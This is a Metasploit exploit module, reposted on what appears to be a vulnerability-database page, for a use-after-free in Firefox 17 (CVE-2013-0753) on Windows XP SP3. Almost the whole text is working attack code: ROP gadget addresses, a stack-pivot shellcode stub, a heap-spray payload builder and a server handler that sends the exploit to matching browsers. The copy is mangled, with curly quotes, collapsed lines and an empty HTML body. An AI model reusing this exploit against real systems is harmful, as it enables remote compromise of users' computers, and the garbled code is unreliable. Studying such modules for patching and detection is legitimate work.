ZeroBox Vulnerability Database

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info = {}) super(update_info(info, 'Name' => ‘Firefox XMLSerializer Use After Free’,
‘Description’ => %q{
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically an use after free of an Element object, when using the serializeToStream method with a specially crafted OutputStream defining its own write function. This module has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP SP3. }, 'License' => MSF_LICENSE,
‘Author’ =>
[
‘regenrecht’, # Vulnerability Discovery, Analysis and PoC
‘juan vazquez’ # Metasploit module
],
‘References’ =>
[
[ ‘CVE’, ‘2013-0753’ ],
[ ‘OSVDB’, ‘89021’],
[ ‘BID’, ‘57209’],
[ ‘URL’, ‘http://www.zerodayinitiative.com/advisories/ZDI-13-006/’ ],
[ ‘URL’, ‘http://www.mozilla.org/security/announce/2013/mfsa2013-16.html’ ],
[ ‘URL’, ‘https://bugzilla.mozilla.org/show_bug.cgi?id=814001’ ]
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’,
‘PrependMigrate’ => true
},
‘Payload’ =>
{
‘BadChars’ => “\x00”,
‘DisableNops’ => true,
‘Space’ => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Firefox 17 / Windows XP SP3’,
{
‘FakeObject’ => 0x0c101008, # Pointer to the Sprayed Memory
‘FakeVFTable’ => 0x0c10100c, # Pointer to the Sprayed Memory
‘RetGadget’ => 0x77c3ee16, # ret from msvcrt
‘PopRetGadget’ => 0x77c50d13, # pop # ret from msvcrt
‘StackPivot’ => 0x77c15ed5, # xcht eax,esp # ret msvcrt
}
]
],
‘DisclosureDate’ => ‘Jan 08 2013’,
‘DefaultTarget’ => 0))

end

def stack_pivot
pivot = “\x64\xa1\x18\x00\x00\x00” # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_status("Agent: #{agent}") if agent !~ /Windows NT 5\.1/ print_error("Windows XP not found, sending 404: #{agent}") send_not_found(cli) return end unless agent =~ /Firefox\/17/ print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end # Fake object landed on 0x0c101008 if heap spray is working as expected code = [ target['FakeVFTable'], target['RetGadget'], target['RetGadget'], target['RetGadget'], target['RetGadget'], target['PopRetGadget'], 0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis ].pack("V*") code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
code << [target['PopRetGadget']].pack("V") # pop # ret code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>‘xp’})

js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
js_ptr = Rex::Text.to_unescape([target[‘FakeObject’]].pack(“V”), Rex::Arch.endian(target.arch))

content = <<-HTML




HTML

print_status("URI #{request.uri} requested...")
print_status("Sending HTML")
send_response(cli, content, {'Content-Type'=>'text/html'})

end

end